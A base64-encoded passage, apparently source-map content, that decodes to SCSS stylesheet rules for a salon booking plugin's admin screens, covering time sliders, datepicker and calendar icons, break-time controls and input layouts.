4yNXJlbTtcbiAgICB9XG4gIH1cbiAgLmNvbC1zbGlkZXIge1xuICAgIHdpZHRoOiAxMDAlO1xuICAgIGhlaWdodDogMC40MnJlbTtcbiAgICAvL2JvcmRlcjogMnB4IHNvbGlkICRjbF9tYWluLS1saWdodDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuICAgIGJvcmRlci1yYWRpdXM6IDAuMjFyZW07XG4gIH1cbiAgLmNvbC10aW1lIHtcbiAgICBAZXh0ZW5kICVmb250LWJpZ2dlcjtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDc1cHgpO1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICBzcGFuIHtcbiAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7XG4gICAgfVxuICB9XG4gIC5jb2wuY29sLXRpbWUsXG4gIC5jb2wuY29sLXNsaWRlciB7XG4gICAgcGFkZGluZzogMDtcbiAgfVxuICAuc2xuLXNsaWRlci0tZGlzYWJsZWQge1xuICAgIC5zbG4tc2xpZGVyIHtcbiAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgfVxuICAgIC5zbG4tc3dpdGNoIGlucHV0ICsgbGFiZWw6bnRoLWNoaWxkKDIpIHtcbiAgICAgIG1hcmdpbi10b3A6IDA7XG4gICAgfVxuICB9XG4gIC5zbG4tZGlzYWJsZS1zZWNvbmQtc2hpZnQge1xuICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLTFyZW07XG4gICAgcmlnaHQ6IDE1cHg7XG4gICAgLy9sZWZ0OiAxNXB4O1xuICAgIC8vcGFkZGluZy1sZWZ0OiAyMDBweDtcbiAgICAvL2JhY2tncm91bmQtY29sb3I6ICNkZGQ7XG4gICAgJi5zbG4tc3dpdGNoIGlucHV0ICsgbGFiZWw6bnRoLWNoaWxkKDIpIHtcbiAgICAgIG1hcmdpbi10b3A6IDA7XG4gICAgfVxuICAgIC8vJjo6YWZ0ZXIge1xuICAgIC8vfVxuICB9XG4gIC5zbG4tc2xpZGVyLXdyYXBwZXIge1xuICAgIG1hcmdpbi10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgbWFyZ2luLXRvcDogMDtcbiAgICB9XG4gIH1cbiAgLnNsbi1zbGlkZXItd3JhcHBlci1zZWNvbmQtc2hpZnQtIHtcbiAgICBkaXNwbGF5OiBncmlkO1xuICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyO1xuICAgIGdyaWQtdGVtcGxhdGUtcm93czogc2V0dGluZ3MtbWl4aW5zLnJlbSg4MHB4KSAxZnI7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgIGdyaWQtdGVtcGxhdGUtcm93czogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KSAxZnI7XG4gICAgfVxuICAgIC5zbG4tZGlzYWJsZS1zZWNvbmQtc2hpZnQge1xuICAgICAgZ3JpZC1jb2x1bW46IDEgLyAxO1xuICAgICAgZ3JpZC1yb3c6IDEgLyAxO1xuICAgIH1cbiAgICAuc2xuLXNlY29uZC1zaGlmdCB7XG4gICAgICBncmlkLWNvbHVtbjogMSAvIDE7XG4gICAgICBncmlkLXJvdzogMSAvIHNwYW4gMjtcbiAgICB9XG4gIH1cbn1cbi8qIFRJTUUgUkFOR0UgLy8gRU5EICovXG4vKiBEQVRFUElDS0VSICovXG4uc2xuLWlucHV0LS1kYXRlcGlja2VyIHtcbiAgLnNsbl9kYXRlcGlja2VyIHtcbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgLyogRklYIDA5MjAyMyAqL1xuICAgICY6OmFmdGVyIHtcbiAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICBjb250ZW50OiAnXFxmMDczJztcbiAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgIHRvcDogMDtcbiAgICAgIHJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuICAgICAgYm90dG9tOiAwO1xuICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgIEBleHRlbmQgJWZvbnQtaWNvbjtcbiAgICB9XG4gIH1cbn1cbi8qIERBVEVQSUNLRVIgLy8gRU5EICovXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWlucHV0X19ncm91cCB7XG4gIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNzY3cHgpIHtcbiAgICBtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuICAgIHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgIGJvcmRlci1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMnB4KSBzb2xpZFxuICAgICAgYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQsIDAuNSk7XG4gIH1cbn1cbi5zbG4taW5wdXQtLW10IHtcbiAgbWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbn1cblxuLyogRklYIDA5MjAyMyAqL1xuI3Nsbi1zYWxvbi0tYWRtaW4ge1xuICAuc2xuLWlucHV0LS1zaW1wbGUuc2xuLXNldHRpbmdzLXRheCBsYWJlbCB7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogLTIwcHg7XG4gIH1cbiAgI3Nsbi1lbmFibGVfYm9va2luZ190YXhfY2FsY3VsYXRpb25cbiAgICAuZm9ybS1ncm91cFxuICAgIC5zbG4taW5wdXQtLXNpbXBsZS5zbG4tc2V0dGluZ3MtdGF4XG4gICAgaW5wdXRbdHlwZT0nbnVtYmVyJ10ge1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICB0b3A6IC00cHg7XG4gICAgYm9yZGVyOiAwO1xuICAgIGZvbnQtc2l6ZTogMi41ZW07XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIHJnYigxOTksIDIyMywgMjQzKTtcbiAgICAtbW96LWFwcGVhcmFuY2U6IHRleHRmaWVsZDtcbiAgICBhcHBlYXJhbmNlOiB0ZXh0ZmllbGQ7XG4gIH1cbiAgI3Nsbi1lbmFibGVfYm9va2luZ190YXhfY2FsY3VsYXRpb25cbiAgICAuZm9ybS1ncm91cFxuICAgIC5zbG4taW5wdXQtLXNpbXBsZS5zbG4tc2V0dGluZ3MtdGF4XG4gICAgaW5wdXRbdHlwZT0nbnVtYmVyJ106Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG4gICNzbG4tZW5hYmxlX2Jvb2tpbmdfdGF4X2NhbGN1bGF0aW9uXG4gICAgLmZvcm0tZ3JvdXBcbiAgICAuc2xuLWlucHV0LS1zaW1wbGUuc2xuLXNldHRpbmdzLXRheFxuICAgIGlucHV0W3R5cGU9J251bWJlciddOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcbiAgICBkaXNwbGF5OiBub25lO1xuICAgIC13ZWJraXQtYXBwZWFyYW5jZTogbm9uZTtcbiAgfVxuICAuc2xuX21ldGFfZmllbGRfZmlsZSB7XG4gICAgd2lkdGg6IG1heC1jb250ZW50O1xuICAgIGZvbnQtc2l6ZTogMS41ZW07XG4gIH1cbiAgI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1ib290c3RyYXAgLnNsbl9tZXRhX2ZpZWxkX2ZpbGUgYSB7XG4gICAgdGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7XG4gIH1cbn1cblxuLyogQlJFQUsgVElNRSAqL1xuI3Nsbi1zYWxvbi0tYWRtaW4tLS0ge1xuICAuc2xuLXNsaWRlci1icmVhay1kdXJhdGlvbi13cmFwcGVyIC51aS1zbGlkZXItcmFuZ2UgLnNsaWRlci10aW1lLWJyZWFrIHtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAtMjBweDtcbiAgICBsZWZ0OiA0NSU7XG4gIH1cblxuICAuc2xuLXNsaWRlci1icmVhay1kdXJhdGlvbi13cmFwcGVyXG4gICAgLnVpLXNsaWRlci1oYW5kbGVcbiAgICAuc2xuLXNsaWRlci0tYnJlYWstdGltZS1yYW5nZS12YWx1ZSxcbiAgLnNsbi1zbGlkZXItYnJlYWstZHVyYXRpb24td3JhcHBlclxuICAgIC5zbG4tc2xpZGVyLS1icmVhay10aW1lXG4gICAgLnNsbi1zbGlkZXItLWJyZWFrLXRpbWUtcmFuZ2UtdmFsdWUge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IC0yMHB4O1xuICAgIGxlZnQ6IDE1JTtcbiAgfVxuXG4gIC5zbG4tc2xpZGVyLWJyZWFrLWR1cmF0aW9uLXdyYXBwZXJcbiAgICAuc2xuLXNsaWRlclxuICAgIC5zbG4tc2xpZGVyLS1icmVhay10aW1lXG4gICAgaDQuc2xuLXNsaWRlci0tYnJlYWstcmFuZ2UtLWhlYWRlciB7XG4gICAgbWFyZ2luOiBhdXRvIGF1dG8gMjVweCBhdXRvO1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIH1cbiAgLnNsbi1zbGlkZXJcbiAgICAuc2xuLXNsaWRlci0tYnJlYWstbGVuZ3RoXG4gICAgLnNsbi1zbGlkZXItLWJyZWFrLWxlbmd0aC0tbWludXM6OmFmdGVyIHtcbiAgICBmb250LWZhbWlseTogJ0ZvbnRBd2Vzb21lJztcbiAgICBmb250LXNpemU6IDEuOXJlbTtcbiAgICBmb250LXdlaWdodDogOTAwO1xuICAgIGNvbG9yOiBzZXR0aW5ncy1taXhpbnMuJGNhLWJsdWU7XG4gICAgY29udGVudDogJ1xcZjA1Nic7XG4gIH1cbiAgLnNsbi1zbGlkZXIgLnNsbi1zbGlkZXItLWJyZWFrLWxlbmd0aCAuc2xuLXNsaWRlci0tYnJlYWstbGVuZ3RoLS1wbHVzOjphZnRlciB7XG4gICAgZm9udC1mYW1pbHk6ICdGb250QXdlc29tZSc7XG4gICAgZm9udC1zaXplOiAxLjlyZW07XG4gICAgZm9udC13ZWlnaHQ6IDkwMDtcbiAgICBjb2xvcjogc2V0dGluZ3MtbWl4aW5zLiRjYS1ibHVlO1xuICAgIGNvbnRlbnQ6ICdcXGYwNTUnO1xuICB9XG4gIC5zbG4tc2xpZGVyIC5zbG4tc2xpZGVyLS1icmVhay1sZW5ndGggLnNsbi1zbGlkZXItLWJyZWFrLWxlbmd0aC0taW5wdXQge1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIH1cblxuICAjc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNsaWRlci1icmVhay1kdXJhdGlvbi13cmFwcGVyIC5zbG4tc2xpZGVyIHtcbiAgICBtYXJnaW4tYm90dG9tOiAxMHB4O1xuICB9XG5cbiAgLnNsbi1zbGlkZXItYnJlYWstZHVyYXRpb24td3JhcHBlciAuc2xuLXNsaWRlciAuc2xuLXNsaWRlci0tYnJlYWstdGltZS1mcm9tLFxuICAuc2xuLXNsaWRlci1icmVhay1kdXJhdGlvbi13cmFwcGVyIC5zbG4tc2xpZGVyIC5zbG4tc2xpZGVyLS1icmVhay10aW1lLXRvIHtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICB9XG59XG4jc2xuLXNhbG9uLS1hZG1pbiB7XG4gIC5zbG4tc2xpZGVyLnNsbi1zbGlkZXItLWJyZWFrIHtcbiAgICBAZXh0ZW5kICVzbG4taW5wdXQtaGVscDtcbiAgICAuc2xuLXNsaWRlci0tYnJlYWstbGVuZ3RoIHtcbiAgICAgIC8vbGFiZWwge1xuICAgICAgLy9cdGdyaWQtcm93OiAxO1xuICAgICAgLy9cdGdyaWQtY29sdW1uOiAxIC8gc3BhbiAzO1xuICAgICAgLy99XG4gICAgICAuc2xuLXNsaWRlci0tYnJlYWstbGVuZ3RoX19hY3Rpb25zIHtcbiAgICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgICAgZ3JpZC10ZW1wbGF0ZTogYXV0byAvIDIuNzVyZW0gYXV0byAyLjc1cmVtO1xuICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgICAgaGVpZ2h0OiA1LjZyZW07XG4gICAgICAgIG1hcmdpbi10b3A6IDFyZW07XG4gICAgICAgIHBhZGRpbmc6IDFyZW0gMS4ycmVtO1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXItLW9wO1xuICAgICAgICBib3JkZXItcmFkaXVzOiAwLjVyZW07XG4gICAgICB9XG4gICAgICAuc2xuLXNsaWRlci0tYnJlYWstbGVuZ3RoLS1taW51cyB7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgIH1cbiAgICAgIC5zbG4tc2xpZGVyLS1icmVhay1sZW5ndGgtLWlucHV0IHtcbiAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICAgIHBhZGRpbmc6IDA7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICBncmlkLWNvbHVtbjogMjtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDA7XG4gICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgZm9udC1zaXplOiAxLjc1cmVtO1xuICAgICAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICAgICAgYm9yZGVyOiBub25lO1xuICAgICAgfVxuICAgICAgLnNsbi1zbGlkZXItLWJyZWFrLWxlbmd0aC0tcGx1cyB7XG4gICAgICAgIGdyaWQtcm93OiAxO1xuICAgICAgICBncmlkLWNvbHVtbjogMztcbiAgICAgIH1cbiAgICAgIC5zbG4tc2xpZGVyLS1icmVhay1sZW5ndGgtLW1pbnVzLFxuICAgICAgLnNsbi1zbGlkZXItLWJyZWFrLWxlbmd0aC0tcGx1cyB7XG4gICAgICAgIHdpZHRoOiAyLjc1cmVtO1xuICAgICAgICBoZWlnaHQ6IDIuNzVyZW07XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgIHRvcDogMDtcbiAgICAgICAgICBsZWZ0OiAwO1xuICAgICAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgICAgIGhlaWdodDogMTAwJTtcbiAgICAgICAgICBmb250LWZhbWlseTogJ0ZvbnRBd2Vzb21lJztcbiAgICAgICAgICBmb250LXNpemU6IDEuMnJlbTtcbiAgICAgICAgICBmb250LXdlaWdodDogOTAwO1xuICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWJnLS1saWdodGVyO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgICAuc2xuLXNsaWRlci0tYnJlYWstbGVuZ3RoLS1taW51czo6YWZ0ZXIge1xuICAgICAgICBjb250ZW50OiAnXFxmMDY4JztcbiAgICAgIH1cbiAgICAgIC5zbG4tc2xpZGVyLS1icmVhay1sZW5ndGgtLXBsdXM6OmFmdGVyIHtcbiAgICAgICAgY29udGVudDogJ1xcZjA2Nyc7XG4gICAgICB9XG4gICAgfVxuICAgIC5zbG4tc2xpZGVyLS1icmVha19fd3JhcHBlciB7XG4gICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgLy9ncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmcjtcbiAgICAgIC8vZ3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvIDFyZW07XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICBoZWlnaHQ6IDUuNnJlbTtcbiAgICAgIG1hcmdpbi10b3A6IDFyZW07XG4gICAgICBwYWRkaW5nOiAxcmVtIDEuNXJlbTtcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHRlci0tb3A7XG4gICAgICBib3JkZXItcmFkaXVzOiAwLjVyZW07XG4gICAgfVxuICAgIC5zbG4tc2xpZGVyLS1icmVhay10aW1lIHtcbiAgICAgIC5jb2wtc2xpZGVyIHtcbiAgICAgICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuICAgICAgfVxuICAgICAgLnVpLXNsaWRlciAudWktc2xpZGVyLXJhbmdlIHtcbiAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcbiAgICAgICAgdG9wOiAwO1xuICAgICAgICBib3JkZXItcmFkaXVzOiBzZXR0aW5ncy1taXhpbnMucmVtKDVweCk7XG4gICAgICAgIGN1cnNvcjogbW92ZTtcbiAgICAgICAgLnNsbi1zbGlkZXItLWJyZWFrLXRpbWUtYnJlYWsge1xuICAgICAgICAgIHdpZHRoOiAycmVtO1xuICAgICAgICAgIGhlaWdodDogMnJlbTtcbiAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLnNsbi1zbGlkZXItLWJyZWFrLXRpbWUtcmFuZ2UtdmFsdWUge1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIHRvcDogLTEuNXJlbTtcbiAgICAgICAgZm9udC1zaXplOiAxcmVtO1xuICAgICAgfVxuICAgICAgLnNsbi1zbGlkZXItLWJyZWFrLXRpbWUtZnJvbS12YWx1ZSxcbiAgICAgIC5zbG4tc2xpZGVyLS1icmVhay10aW1lLXRvLXZhbHVlIHtcbiAgICAgICAgZGlzcGxheTogaW5saW5lO1xuICAgICAgfVxuICAgICAgLnNsbi1zbGlkZXItLWJyZWFrLXRpbWUtbGltaXRzIHtcbiAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIHJpZ2h0OiAxLjVyZW07XG4gICAgICAgIGxlZnQ6IDEuNXJlbTtcbiAgICAgICAgYm90dG9tOiAxcmVtO1xuICAgICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICB9XG4gICAgfVxuICAgIC5zbG4taW5wdXQtaGVscCB7XG4gICAgICBtYXJnaW4tdG9wOiAxcmVtO1xuICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgIH1cbiAgfVxufVxuLyogQlJFQUsgVElNRSAvLyBFTkQgKi9cblxuLyogc2xuLW11bHRpZmllbGRzLS1jb2xscGFzZV9fd3JhcHBlciAqL1xuI3Nsbi1zYWxvbi0tYWRtaW4ge1xuICAuc2xuLW11bHRpZmllbGRzLS1jb2xscGFzZV9fd3JhcHBlciB7XG4gICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICB0cmFuc2l0aW9uOiBhbGwgMTUwbXMgbGluZWFyO1xuICAgICYub3BlbiB7XG4gICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgYWxpZ24taXRlbXM6IGVuZDtcbiAgICAgIG1hcmdpbi1ib3R0b206IDJyZW07XG4gICAgICBwYWRkaW5nOiAycmVtIDA7XG4gICAgICBAZXh0ZW5kICVzbG4tc21hbGwtYm9yZGVyO1xuICAgICAgLnNsbi1jaGVja2JveCxcbiAgICAgIC5zbG4tc2VsZWN0IHtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAgIH1cbiAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogNjAwcHgpIHtcbiAgICAgICAgYm9yZGVyLXdpZHRoOiAycHg7XG4gICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG4gICAgICAgIC5zbG4tY2hlY2tib3gsXG4gICAgICAgIC5zbG4tc2VsZWN0IHtcbiAgICAgICAgICBtYXJnaW4tYm90dG9tOiAycmVtO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgIC5zbG4tY2hlY2tib3ggKyAuc2xuLXNlbGVjdCxcbiAgICAuc2xuLWNhbGVuZGFyLS13cmFwcGVyIC5zbG4tY2hlY2tib3ggKyAuc2xuLXNlbGVjdCB7XG4gICAgICBtYXJnaW4tdG9wOiAwO1xuICAgIH1cbiAgfVxuICAuc2xuLW11bHRpZmllbGRzLS1jb2xscGFzZV9fd3JhcHBlci0tYmxvY2sge1xuICAgIC5zbG4tc2xpZGVyLS1icmVhayB7XG4gICAgICBtYXJnaW4tdG9wOiAycmVtO1xuICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICB9XG4gICAgJi5vcGVuIHtcbiAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIH1cbiAgfVxufVxuXG4vKiBOVSBJTlBVVFMgR1JJRCBMQVlPVVQgKi9cbiNzbG4tc2Fsb24tLWFkbWluIHtcbiAgLnNsbi1pbnB1dC0tc2ltcGxlLFxuICAuc2xuLWlucHV0LS1zaW1wbGUgLnNsbl9tZXRhX2ZpZWxkLFxuICAuc2xuLXNlbGVjdCB7XG4gICAgZGlzcGxheTogZ3JpZDtcbiAgICBncmlkLXRlbXBsYXRlOiBtaW5tYXgoMnJlbSwgMWZyKSBhdXRvIC8gMWZyO1xuICAgIGxhYmVsIHtcbiAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgZ3JpZC1yb3c6IDE7XG4gICAgfVxuICAgIGlucHV0IHtcbiAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgZ3JpZC1yb3c6IDI7XG4gICAgfVxuICAgIC5oZWxwLWJsb2NrLFxuICAgIC5zbG4tYm94LW1haW5pbmZvIHtcbiAgICAgIGdyaWQtY29sdW1uOiAxO1xuICAgICAgZ3JpZC1yb3c6IDM7XG4gICAgfVxuICAgIC5zbG5fbWV0YV9maWVsZCB7XG4gICAgICBncmlkLWNvbHVtbjogMTtcbiAgICAgIGdyaWQtcm93OiAxIC8gc3BhbiAyO1xuICAgIH1cbiAgfVxuICAuc2xuLWlucHV0LS1zaW1wbGUuc2xuLWNoZWNrYm94IC5zbG5fbWV0YV9maWVsZCB7XG4gICAgbGFiZWwge1xuICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICBncmlkLXJvdzogMjtcbiAgICB9XG4gIH1cbiAgLnNsbi1jaGVja2JveCxcbiAgLnNsbi1zd2l0Y2gge1xuICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgZ3JpZC10ZW1wbGF0ZTogbWlubWF4KDJyZW0sIDFmcikgLyAxZnI7XG4gICAgLnNsbi1nc3QtbGFiZWwge1xuICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICBncmlkLXJvdzogMTtcbiAgICB9XG4gICAgbGFiZWwge1xuICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICBncmlkLXJvdzogMjtcbiAgICB9XG4gICAgLmhlbHAtYmxvY2ssXG4gICAgLnNsbi1ib3gtbWFpbmluZm8ge1xuICAgICAgZ3JpZC1jb2x1bW46IDE7XG4gICAgICBncmlkLXJvdzogMztcbiAgICB9XG4gIH1cbn1cbi8qIE5VIElOUFVUUyBHUklEIExBWU9VVCAvLyBFTkRcdCAqL1xuXG4vKiAyMDI1ICovXG4uc2xuLWNhbGVuZGFyLS13cmFwcGVyIHtcbiAgLnNsbi1pbnB1dC0tY2FsX19kYXRlcGlja2VyIHtcbiAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHdpZHRoPSc0MycgaGVpZ2h0PSc0Mycgdmlld0JveD0nMCAwIDQzIDQzJyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMjguNjY2NyAzLjU4MzAxVjEwLjc0OTdNMTQuMzMzMyAzLjU4MzAxVjEwLjc0OTdNNS4zNzUgMTcuOTE2M0gzNy42MjVNOC45NTgzMyA3LjE2NjM0SDM0LjA0MTdDMzYuMDIwNyA3LjE2NjM0IDM3LjYyNSA4Ljc3MDY1IDM3LjYyNSAxMC43NDk3VjM1LjgzM0MzNy42MjUgMzcuODEyIDM2LjAyMDcgMzkuNDE2MyAzNC4wNDE3IDM5LjQxNjNIOC45NTgzM0M2Ljk3OTMxIDM5LjQxNjMgNS4zNzUgMzcuODEyIDUuMzc1IDM1LjgzM1YxMC43NDk3QzUuMzc1IDguNzcwNjUgNi45NzkzMSA3LjE2NjM0IDguOTU4MzMgNy4xNjYzNFonIHN0cm9rZT0nJTIzMUUxRTFFJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIGJhY2tncm91bmQtcG9zaXRpb246IHJpZ2h0IDAuNzVyZW0gY2VudGVyO1xuICAgIGJhY2tncm91bmQtc2l6ZTogMnJlbTtcbiAgfVxufVxuXG5pbnB1dFt0eXBlPSdjb2xvciddLFxuaW5wdXRbdHlwZT0nZGF0ZSddLFxuaW5wdXRbdHlwZT0nZGF0ZXRpbWUtbG9jYWwnXSxcbmlucHV0W3R5cGU9J2RhdGV0aW1lJ10sXG5pbnB1dFt0eXBlPSdlbWFpbCddLFxuaW5wdXRbdHlwZT0nbW9udGgnXSxcbmlucHV0W3R5cGU9J251bWJlciddLFxuaW5wdXRbdHlwZT0ncGFzc3dvcmQnXSxcbmlucHV0W3R5cGU9J3NlYXJjaCddLFxuaW5wdXRbdHlwZT0ndGVsJ10sXG5pbnB1dFt0eXBlPSd0ZXh0J10sXG5pbnB1dFt0eXBlPSd0aW1lJ10sXG5pbnB1dFt0eXBlPSd1cmwnXSxcbmlucHV0W3R5cGU9J3dlZWsnXSxcbnNlbGVjdCxcbnRleHRhcmVhIHtcbiAgJi5zbG4tMjUtaW5wdXQtLXBpbGwge1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgYm9yZGVyOiBub25lO1xuICAgIGJvcmRlci1yYWRpdXM6IDk5OTlweDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0O1xuICAgIG1pbi1oZWlnaHQ6IDIuNXJlbTtcbiAgICB3aWR0aDogY2FsYygxMDAlIC0gMzBweCk7XG4gICAgcGFkZGluZzogMC41cmVtIDFyZW07XG4gICAgZm9udC1zaXplOiAxcmVtO1xuICAgIGZvbnQtd2VpZ2h0OiA1MDA7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1saWdodC0tZXZpZDtcbiAgICBvdXRsaW5lLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICB0cmFuc2l0aW9uOiBhbGwgMTUwbXM7XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpIHtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICBvdXRsaW5lOiAycHggc29saWQ7XG4gICAgICAgIG91dGxpbmUtY29sb3I6IHJnYmEoYWRtaW5fY29uZmlnLiRjbF9kX21haW4sIDAuNSk7XG4gICAgICB9XG4gICAgfVxuICAgICY6Zm9jdXMsXG4gICAgJjphY3RpdmUge1xuICAgICAgb3V0bGluZTogMnB4IHNvbGlkO1xuICAgICAgb3V0bGluZS1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gICAgfVxuICAgICY6OnBsY